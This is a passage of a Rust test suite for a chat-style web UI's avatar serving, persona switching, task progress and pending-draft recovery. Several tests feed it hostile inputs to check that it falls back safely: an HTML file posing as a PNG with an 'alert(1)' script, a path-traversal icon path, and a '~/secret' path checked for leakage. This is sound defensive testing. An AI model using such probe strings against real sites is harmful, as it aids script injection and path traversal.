13030 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13031 ] {
13032 assert!(save_magi_icon(home.path(), &bad).is_err());
13033 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13034 }
13035 let restarted = Arc::new(Ui::new(
13037 Queue::at(home.path().join("queue")),
13038 Questions::at(home.path().join("questions")),
13039 Talks::at(home.path().join("talks")),
13040 home.path().join("runs"),
13041 home.path().to_path_buf(),
13042 repo,
13043 ));
13044 assert_eq!(
13045 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13046 changed
13047 );
13048 let view = TalkView::with_config(
13049 restarted.talks.get(&id).unwrap(),
13050 false,
13051 None,
13052 &restarted.home,
13053 );
13054 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13055 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13056 let response = magi_avatar(
13057 State(ui.clone()),
13058 Query(AvatarQuery {
13059 persona: None,
13060 builtin: None,
13061 }),
13062 )
13063 .await;
13064 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13065 .await
13066 .unwrap();
13067 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13068 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13069 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13070 let _ = magi_icon_delete(State(ui)).await.unwrap();
13071 }
13072
13073 async fn avatar(
13075 ui: &Arc<Ui>,
13076 id: &str,
13077 persona: Option<&str>,
13078 builtin: bool,
13079 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13080 let res = talk_avatar(
13081 State(Arc::clone(ui)),
13082 Path(id.to_owned()),
13083 Query(AvatarQuery {
13084 persona: persona.map(str::to_owned),
13085 builtin: builtin.then(|| "1".to_owned()),
13086 }),
13087 )
13088 .await
13089 .expect("an avatar is never an error response");
13090 let h = res.headers();
13091 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13092 let nosniff = h
13093 .get(header::X_CONTENT_TYPE_OPTIONS)
13094 .is_some_and(|v| v == "nosniff");
13095 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13096 let status = res.status();
13097 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13098 .await
13099 .expect("body")
13100 .to_vec();
13101 (status, ct, nosniff, csp, body)
13102 }
13103
13104 fn tiny_png() -> Vec<u8> {
13105 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13106 b.extend_from_slice(&[0u8; 32]);
13107 b
13108 }
13109
13110 #[tokio::test]
13111 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
13112 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
13113 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
13114 assert_eq!(res.status(), StatusCode::OK);
13115 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
13116 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
13117 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
13118 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
13119 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13120 .await
13121 .unwrap();
13122 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
13123 assert_ne!(
13124 persona_icon::operator_svg(),
13125 persona_icon::builtin_svg("default")
13126 );
13127 }
13128
13129 #[tokio::test]
13130 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
13131 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
13132 for p in [
13133 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
13134 ] {
13135 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
13136 assert_eq!(status, StatusCode::OK, "{p}");
13137 assert_eq!(ct, "image/svg+xml", "{p}");
13138 assert!(nosniff && csp, "{p}");
13139 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
13140 }
13141 let own = avatar(&ui, &id, None, false).await;
13143 let default = avatar(&ui, &id, Some("default"), false).await;
13144 assert_eq!(own.4, default.4);
13145 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
13146 assert_eq!(unknown.1, "image/svg+xml");
13147 }
13148
13149 #[tokio::test]
13150 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
13151 let dir = TempDir::new().expect("icons");
13152 let good = dir.path().join("good.png");
13153 std::fs::write(&good, tiny_png()).unwrap();
13154 let spoof = dir.path().join("spoof.png");
13155 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
13156 let big = dir.path().join("big.png");
13157 let mut bytes = tiny_png();
13158 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
13159 std::fs::write(&big, bytes).unwrap();
13160 let missing = dir.path().join("missing.png");
13161 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
13162 let extra = format!(
13163 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
13164 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
13165 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
13166 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
13167 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
13168 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
13169 uri(&good),
13170 uri(&spoof),
13171 uri(&big),
13172 uri(&missing),
13173 );
13174 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13175
13176 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
13177 assert_eq!(
13178 (status, ct.as_str(), nosniff),
13179 (StatusCode::OK, "image/png", true)
13180 );
13181 assert_eq!(body, tiny_png());
13182 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
13183 assert_eq!(ct, "image/png", "data URI");
13184
13185 for p in ["misato", "asuka", "shinji", "magi"] {
13186 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
13187 assert_eq!(
13188 (status, ct.as_str(), csp),
13189 (StatusCode::OK, "image/svg+xml", true),
13190 "{p}"
13191 );
13192 assert!(body.starts_with(b"<svg"), "{p}");
13193 }
13194 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
13196 assert_eq!(ct, "image/svg+xml");
13197 }
13198
13199 #[tokio::test]
13200 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
13201 let oversized = format!(
13202 "data:image/png;base64,{}",
13203 "A".repeat(persona_icon::ICON_MAX_BYTES)
13204 );
13205 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
13206 let extra = format!(
13207 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
13208 );
13209 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
13210 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13211 .await
13212 .expect("detail with invalid icon");
13213 assert!(detail.personas.iter().any(|p| p.id == "custom"));
13214 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
13215 assert_eq!(status, StatusCode::OK);
13216 assert_eq!(ct, "image/svg+xml");
13217 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
13218 let Json(view) = talk_persona(
13219 State(Arc::clone(&ui)),
13220 Path(id.clone()),
13221 Json(TalkPersona {
13222 persona: "custom".into(),
13223 }),
13224 )
13225 .await
13226 .expect("persona switch with invalid icon");
13227 assert_eq!(view.talk.persona, "custom");
13228 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
13229 }
13230 }
13231
13232 #[tokio::test]
13233 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
13234 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13235 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
13236 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
13237 assert_eq!(
13238 (status, ct.as_str(), nosniff, csp),
13239 (StatusCode::OK, "image/svg+xml", true, true)
13240 );
13241 }
13242
13243 #[tokio::test]
13244 async fn the_talk_view_carries_server_built_avatar_urls_only() {
13245 let (_t, _h, ui, id, _repo) =
13246 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
13247 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13248 .await
13249 .expect("detail");
13250 let json = serde_json::to_string(&detail).unwrap();
13251 assert!(
13252 !json.contains("secret"),
13253 "the icon setting must not leak: {json}"
13254 );
13255 assert!(
13256 detail
13257 .view
13258 .persona_avatar
13259 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
13260 );
13261 assert_eq!(
13262 detail.view.operator_avatar,
13263 format!(
13264 "/avatars/operator.svg?v={}",
13265 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
13266 )
13267 );
13268 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
13269 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
13270 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
13271 assert!(rei.avatar.contains("persona=rei&v="));
13272 assert_ne!(
13273 rei.avatar.split("&v=").nth(1),
13274 plain.avatar.split("&v=").nth(1)
13275 );
13276 }
13277
13278 #[tokio::test]
13279 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
13280 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
13281 let cfg = config_for(&repo).await.unwrap();
13282 for arrived in [false, true] {
13283 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
13284 let observed = ui.queued_generation(&id);
13285 let talk = ui.talks.get(&id).unwrap();
13286 if arrived {
13287 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
13288 }
13289 let mut settling = std::pin::pin!(settle_settings_turn(
13290 talk,
13291 ui.talks.clone(),
13292 cfg.clone(),
13293 id.clone(),
13294 turn,
13295 observed
13296 ));
13297 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
13298 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
13299 assert_eq!(first.is_pending(), arrived);
13300 if arrived {
13301 assert!(!settling.await);
13302 }
13303 assert!(!ui.is_thinking(&id));
13304 }
13305 }
13306
13307 #[tokio::test]
13308 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
13309 let tmp = TempDir::new().expect("tempdir");
13310 let repo = tmp.path().join("repo");
13311 std::fs::create_dir_all(&repo).expect("repo dir");
13312 std::fs::write(
13313 repo.join("magi.toml"),
13314 format!(
13315 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
13316 ),
13317 )
13318 .expect("write magi.toml");
13319 let home = TempDir::new().expect("temp home");
13320 let talks = Talks::at(home.path().join("talks"));
13321 let ui = Arc::new(
13322 Ui::new(
13323 Queue::at(home.path().join("queue")),
13324 Questions::at(home.path().join("questions")),
13325 talks.clone(),
13326 home.path().join("runs"),
13327 home.path().to_path_buf(),
13328 repo.clone(),
13329 )
13330 .with_worktrees_root(home.path().join("wt")),
13331 );
13332 let cfg = config_for(&repo).await.expect("discover config");
13333 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13334 let id = talk.id.clone();
13335 let call = |persona: &str| {
13336 talk_persona(
13337 State(Arc::clone(&ui)),
13338 Path(id.clone()),
13339 Json(TalkPersona {
13340 persona: persona.to_owned(),
13341 }),
13342 )
13343 };
13344
13345 let unknown = call("nobody").await.expect_err("unknown persona");
13346 assert_eq!(
13347 unknown.status,
13348 StatusCode::BAD_REQUEST,
13349 "{}",
13350 unknown.message
13351 );
13352
13353 {
13354 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13357 let busy = call("rei").await.expect_err("busy talk");
13358 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13359 assert!(
13360 busy.message.contains("a talk turn is running"),
13361 "{}",
13362 busy.message
13363 );
13364 drop(guard);
13365 }
13366 assert_eq!(talks.get(&id).expect("reload").persona, "");
13367
13368 let Json(view) = call("gendo").await.expect("switch to a configured persona");
13369 assert_eq!(view.talk.persona, "gendo");
13370 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
13371 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13372 for chosen in ["default", "gendo", "rei", "gendo"] {
13374 let Json(view) = call(chosen).await.expect("immediate consecutive change");
13375 assert!(!view.thinking);
13376 assert!(!ui.is_thinking(&id));
13377 }
13378
13379 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13380 .await
13381 .expect("detail");
13382 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
13383 assert_eq!(ids.first(), Some(&"default"));
13384 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
13385
13386 let Json(view) = call("default").await.expect("back to default");
13387 assert_eq!(view.talk.persona, "");
13388
13389 let mut closed = talks.get(&id).expect("reload");
13390 talk::close(&mut closed, &talks).expect("close");
13391 let refused = call("rei").await.expect_err("closed talk");
13392 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13393 assert!(
13394 refused.message.contains("takes no more turns"),
13395 "{}",
13396 refused.message
13397 );
13398 }
13399
13400 #[tokio::test]
13401 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
13402 let f = Fixture::start().await;
13403 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
13404 let queue = f.queue();
13405 let mut mine = Task::new(
13406 "rename the loader".to_owned(),
13407 "rename the loader".to_owned(),
13408 PathBuf::from("/repo/magi"),
13409 Source::Agent {
13410 run: talk_id.clone(),
13411 node: "chat".to_owned(),
13412 },
13413 );
13414 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
13415 assert_eq!(empty["task_progress"]["state"], "none");
13416 assert_eq!(empty["task_progress"]["total"], 0);
13417 queue.put(&mut mine).expect("file the task");
13418 let mut theirs = Task::new(
13419 "unrelated".to_owned(),
13420 "unrelated".to_owned(),
13421 PathBuf::from("/repo/magi"),
13422 Source::Human,
13423 );
13424 theirs.origin_chat = Some(talk_id.clone());
13426 queue.put(&mut theirs).expect("file the task");
13427
13428 let res = f.get(&format!("/api/talks/{talk_id}")).await;
13429 assert_eq!(res.status, 200, "{}", res.body);
13430 let body = res.json();
13431 assert_eq!(
13432 body["status"], "open",
13433 "filing a task does not close a talk"
13434 );
13435 let tasks = body["tasks"].as_array().expect("tasks array");
13436 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
13437 assert_eq!(tasks[0]["id"], mine.id);
13438 for status in [
13439 TaskStatus::Queued,
13440 TaskStatus::Running,
13441 TaskStatus::Held,
13442 TaskStatus::Failed,
13443 TaskStatus::Blocked,
13444 TaskStatus::Parked,
13445 TaskStatus::Done,
13446 TaskStatus::Queued,
13447 ] {
13448 mine.status = status;
13449 queue.put(&mut mine).expect("update status");
13450 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
13451 let progress = &detail["task_progress"];
13452 assert_eq!(progress["total"], 1);
13453 assert_eq!(progress["counts"][status.as_str()], 1);
13454 assert_eq!(detail["tasks"][0]["status"], status.as_str());
13455 assert_eq!(detail["status"], "open", "completion never closes the chat");
13456 if status == TaskStatus::Done {
13457 assert_eq!(progress["state"], "complete");
13458 assert_eq!(progress["done"], 1);
13459 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
13460 } else {
13461 assert_eq!(progress["state"], "incomplete");
13462 assert_eq!(progress["done"], 0);
13463 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
13464 }
13465 }
13466 }
13467
13468 #[test]
13469 fn talk_task_progress_counts_mixed_statuses() {
13470 let mut tasks: Vec<_> = [
13471 TaskStatus::Queued,
13472 TaskStatus::Running,
13473 TaskStatus::Held,
13474 TaskStatus::Failed,
13475 TaskStatus::Blocked,
13476 TaskStatus::Parked,
13477 TaskStatus::Done,
13478 ]
13479 .into_iter()
13480 .map(|status| {
13481 let mut task = Task::new(
13482 "task".into(),
13483 "task".into(),
13484 PathBuf::from("/repo"),
13485 Source::Human,
13486 );
13487 task.status = status;
13488 task
13489 })
13490 .collect();
13491 let progress = talk_task_progress(&tasks);
13492 assert_eq!(progress.state, "incomplete");
13493 assert_eq!(progress.total, 7);
13494 assert_eq!(progress.done, 1);
13495 assert_eq!(progress.unfinished_ids.len(), 6);
13496 assert!(progress.counts.values().all(|count| *count == 1));
13497 assert_eq!(
13498 progress.unfinished_ids,
13499 tasks[..6]
13500 .iter()
13501 .map(|task| task.id.clone())
13502 .collect::<Vec<_>>()
13503 );
13504
13505 for task in &mut tasks {
13506 task.status = TaskStatus::Done;
13507 }
13508 let complete = talk_task_progress(&tasks);
13509 assert_eq!(complete.state, "complete");
13510 assert_eq!(complete.done, 7);
13511 assert!(complete.unfinished_ids.is_empty());
13512 tasks[0].status = TaskStatus::Queued;
13513 let requeued = talk_task_progress(&tasks);
13514 assert_eq!(requeued.state, "incomplete");
13515 assert_eq!(requeued.done, 6);
13516 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
13517
13518 let empty = talk_task_progress(&[]);
13519 assert_eq!(empty.state, "none");
13520 assert_eq!(empty.total, 0);
13521 assert_eq!(empty.done, 0);
13522 assert!(empty.unfinished_ids.is_empty());
13523 assert!(empty.counts.values().all(|count| *count == 0));
13524 }
13525
13526 #[tokio::test]
13527 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
13528 let (_tmp, _repo, f) = talk_fixture().await;
13529 let id = f.post("/api/talks", None).await.json()["id"]
13530 .as_str()
13531 .expect("id")
13532 .to_owned();
13533
13534 let res = f
13535 .post(
13536 &format!("/api/talks/{id}/say"),
13537 Some(r#"{"text":"what does the queue module do?"}"#),
13538 )
13539 .await;
13540 assert_eq!(res.status, 202, "{}", res.body);
13541 let queued = res.json();
13542 let turns = queued["turns"].as_array().expect("turns array");
13543 assert_eq!(
13544 turns.len(),
13545 1,
13546 "the answer reflects only what is on disk the instant it is sent, \
13547 before the agent's turn - which can run for the whole of \
13548 `[graph] timeout_talk` - has a chance to land: {queued}"
13549 );
13550 assert_eq!(turns[0]["who"], "operator");
13551 assert_eq!(turns[0]["body"], "what does the queue module do?");
13552 assert_eq!(
13553 queued["thinking"], true,
13554 "the accepted response exposes the background turn claim: {queued}"
13555 );
13556
13557 let mut turns_after = 1;
13558 for _ in 0..SETTLE_STEPS {
13559 let detail = f.get(&format!("/api/talks/{id}")).await.json();
13560 turns_after = detail["turns"].as_array().expect("turns array").len();
13561 if turns_after == 2 {
13562 break;
13563 }
13564 tokio::time::sleep(Duration::from_millis(10)).await;
13565 }
13566 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
13567 }
13568
13569 #[tokio::test]
13596 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
13597 let tmp = TempDir::new().expect("tempdir");
13598 let repo = tmp.path().join("repo");
13599 std::fs::create_dir_all(&repo).expect("repo dir");
13600 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13601 let home = TempDir::new().expect("temp home");
13602 let talks = Talks::at(home.path().join("talks"));
13603 let ui = Arc::new(
13604 Ui::new(
13605 Queue::at(home.path().join("queue")),
13606 Questions::at(home.path().join("questions")),
13607 talks.clone(),
13608 home.path().join("runs"),
13609 home.path().to_path_buf(),
13610 repo.clone(),
13611 )
13612 .with_worktrees_root(home.path().join("wt")),
13613 );
13614 let cfg = config_for(&repo).await.expect("discover config");
13615
13616 for delay in 0..40u32 {
13617 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13618 let id = talk.id.clone();
13619
13620 let handler = tokio::spawn(talk_say(
13621 State(Arc::clone(&ui)),
13622 Path(id.clone()),
13623 Ok(Json(NewTalkTurn {
13624 reply_to: None,
13625 text: "what does the queue module do?".to_owned(),
13626 attachments: Vec::new(),
13627 })),
13628 ));
13629 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
13630 handler.abort();
13631 let _ = handler.await;
13634
13635 let mut turns = 0;
13636 for _ in 0..SETTLE_STEPS {
13637 if let Ok(fresh) = talks.get(&id) {
13638 turns = fresh.turns.len();
13639 if turns != 1 {
13640 break;
13641 }
13642 }
13643 tokio::time::sleep(Duration::from_millis(10)).await;
13644 }
13645 assert_ne!(
13646 turns, 1,
13647 "delay {delay}: talk {id} recorded the operator's turn but \
13648 the agent never answered - the reply task was never \
13649 started after the handler future was dropped"
13650 );
13651 }
13652 }
13653
13654 #[tokio::test]
13699 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
13700 let tmp = TempDir::new().expect("tempdir");
13701 let repo = tmp.path().join("repo");
13702 std::fs::create_dir_all(&repo).expect("repo dir");
13703 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13704 let home = TempDir::new().expect("temp home");
13705 let talks = Talks::at(home.path().join("talks"));
13706 let ui = Arc::new(
13707 Ui::new(
13708 Queue::at(home.path().join("queue")),
13709 Questions::at(home.path().join("questions")),
13710 talks.clone(),
13711 home.path().join("runs"),
13712 home.path().to_path_buf(),
13713 repo.clone(),
13714 )
13715 .with_worktrees_root(home.path().join("wt")),
13716 );
13717 let cfg = config_for(&repo).await.expect("discover config");
13718
13719 for attempt in 0..3u32 {
13720 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
13721 let id = talk.id.clone();
13722 let turn_guard = ui
13725 .begin_talk_turn(&id)
13726 .expect("claim the turn")
13727 .expect("a fresh talk owes nobody a turn");
13728
13729 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
13730 let (release_tx, release_rx) = std::sync::mpsc::channel();
13731 ui.set_busy_queue_gate(BusyQueueGate {
13732 reached: reached_tx,
13733 release: release_rx,
13734 });
13735
13736 let handler = tokio::spawn(talk_say(
13737 State(Arc::clone(&ui)),
13738 Path(id.clone()),
13739 Ok(Json(NewTalkTurn {
13740 reply_to: None,
13741 text: "what does the queue module do?".to_owned(),
13742 attachments: Vec::new(),
13743 })),
13744 ));
13745
13746 tokio::time::timeout(Duration::from_secs(5), reached_rx)
13751 .await
13752 .unwrap_or_else(|_| {
13753 panic!(
13754 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
13755 )
13756 })
13757 .expect("the busy branch dropped the gate without using it");
13758
13759 let running = talks.get(&id).expect("reload talk");
13766 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
13767
13768 handler.abort();
13772 let _ = handler.await;
13773
13774 let _ = release_tx.send(());
13780
13781 let mut fresh = talks.get(&id).expect("reload talk");
13784 for _ in 0..SETTLE_STEPS {
13785 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13786 break;
13787 }
13788 tokio::time::sleep(Duration::from_millis(10)).await;
13789 fresh = talks.get(&id).expect("reload talk");
13790 }
13791 assert!(
13792 fresh.pending.is_empty() && fresh.turns.len() == 2,
13793 "attempt {attempt}: talk {id} left the operator's text queued \
13794 with no drainer - the reclaimed turn was dropped along with \
13795 the handler future (pending {:?}, {} turns)",
13796 fresh.pending,
13797 fresh.turns.len()
13798 );
13799 }
13800 }
13801
13802 #[tokio::test]
13803 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13804 let (_tmp, _repo, f) = talk_fixture().await;
13805 let id = f.post("/api/talks", None).await.json()["id"]
13806 .as_str()
13807 .expect("id")
13808 .to_owned();
13809 let store = f.talks();
13810 let mut recovered = store.get(&id).expect("opened talk");
13811 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13812 .expect("persist pending draft without a live turn");
13813
13814 let edited = f
13815 .post(
13816 &format!("/api/talks/{id}/pending/edit"),
13817 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13818 )
13819 .await;
13820 assert_eq!(edited.status, 200, "{}", edited.body);
13821 assert!(edited.json()["thinking"].as_bool().unwrap());
13822
13823 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13824 for _ in 0..SETTLE_STEPS {
13825 if detail["turns"].as_array().expect("turns").len() == 2 {
13826 break;
13827 }
13828 tokio::time::sleep(Duration::from_millis(10)).await;
13829 detail = f.get(&format!("/api/talks/{id}")).await.json();
13830 }
13831 let turns = detail["turns"].as_array().expect("turns");
13832 assert_eq!(
13833 turns.len(),
13834 2,
13835 "the recovered draft must run once: {detail}"
13836 );
13837 assert_eq!(turns[0]["body"], "corrected");
13838 assert_eq!(detail["pending"], "");
13839 }
13840
13841 #[tokio::test]
13842 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13843 let tmp = TempDir::new().expect("tempdir");
13844 let repo = tmp.path().join("repo");
13845 std::fs::create_dir_all(&repo).expect("repo dir");
13846 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13847 let f = Fixture::with_repo(repo).await;
13848 let id = f.post("/api/talks", None).await.json()["id"]
13849 .as_str()
13850 .expect("id")
13851 .to_owned();
13852 let store = f.talks();
13853 let mut recovered = store.get(&id).expect("opened talk");
13854 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13855 .expect("persist pending draft without a live turn");
13856
13857 let refused = f
13858 .post(
13859 &format!("/api/talks/{id}/say"),
13860 Some(r#"{"text":"new message"}"#),
13861 )
13862 .await;
13863 assert_eq!(refused.status, 409, "{}", refused.body);
13864 assert!(refused.body.contains("resume"), "{}", refused.body);
13865 let saved = store.get(&id).expect("draft remains after refusal");
13866 assert!(saved.turns.is_empty());
13867 assert_eq!(saved.pending, "saved before restart");
13868
13869 let say_path = format!("/api/talks/{id}/say");
13870 let (first, second) = tokio::join!(
13871 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13872 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13873 );
13874 assert_eq!(first.status, 409, "{}", first.body);
13875 assert_eq!(second.status, 409, "{}", second.body);
13876 let saved = store
13877 .get(&id)
13878 .expect("draft remains after concurrent refusals");
13879 assert!(saved.turns.is_empty());
13880 assert_eq!(saved.pending, "saved before restart");
13881
13882 let resumed = f
13883 .post(&format!("/api/talks/{id}/pending/resume"), None)
13884 .await;
13885 assert_eq!(resumed.status, 202, "{}", resumed.body);
13886 let duplicate = f
13887 .post(&format!("/api/talks/{id}/pending/resume"), None)
13888 .await;
13889 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13890
13891 for _ in 0..SETTLE_STEPS {
13892 if store.get(&id).expect("talk").turns.len() == 2 {
13893 break;
13894 }
13895 tokio::time::sleep(Duration::from_millis(10)).await;
13896 }
13897 let finished = store.get(&id).expect("finished talk");
13898 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13899 assert_eq!(finished.turns[0].body, "saved before restart");
13900 assert!(finished.pending.is_empty());
13901 }
13902
13903 #[tokio::test]
13904 async fn an_image_only_recovered_draft_resumes_without_text() {
13905 let (_tmp, _repo, f) = talk_fixture().await;
13906 let id = f.post("/api/talks", None).await.json()["id"]
13907 .as_str()
13908 .expect("id")
13909 .to_owned();
13910 let uploaded = f
13911 .post_bytes(
13912 &format!("/api/talks/{id}/attachments"),
13913 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13914 PNG_BYTES,
13915 )
13916 .await;
13917 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13918 let attachment = f
13919 .talks()
13920 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13921 .expect("attachment metadata")
13922 .expect("stored attachment");
13923 let store = f.talks();
13924 let mut recovered = store.get(&id).expect("opened talk");
13925 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13926
13927 let resumed = f
13928 .post(&format!("/api/talks/{id}/pending/resume"), None)
13929 .await;
13930 assert_eq!(resumed.status, 202, "{}", resumed.body);
13931 for _ in 0..SETTLE_STEPS {
13932 if store.get(&id).expect("talk").turns.len() == 2 {
13933 break;
13934 }
13935 tokio::time::sleep(Duration::from_millis(10)).await;
13936 }
13937 let finished = store.get(&id).expect("finished talk");
13938 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13939 assert!(finished.turns[0].body.is_empty());
13940 assert_eq!(finished.turns[0].attachments.len(), 1);
13941 assert!(finished.pending_attachments.is_empty());
13942 }
13943
13944 #[tokio::test]
13945 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13946 let (_tmp, _repo, f) = talk_fixture().await;
13947 let id = f.post("/api/talks", None).await.json()["id"]
13948 .as_str()
13949 .expect("id")
13950 .to_owned();
13951 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13952 assert_eq!(closed.status, 200, "{}", closed.body);
13953 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13954 .expect("serialize closed talk");
13955 for (path, body) in [
13956 (format!("/api/talks/{id}/pending/resume"), None),
13957 (
13958 format!("/api/talks/{id}/pending/clear"),
13959 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13960 ),
13961 (
13962 format!("/api/talks/{id}/pending/edit"),
13963 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13964 ),
13965 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13966 ] {
13967 let response = f.post(&path, body).await;
13968 assert_eq!(response.status, 409, "{}", response.body);
13969 }
13970 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13971 .expect("serialize closed talk");
13972 assert_eq!(
13973 after_clear, before_clear,
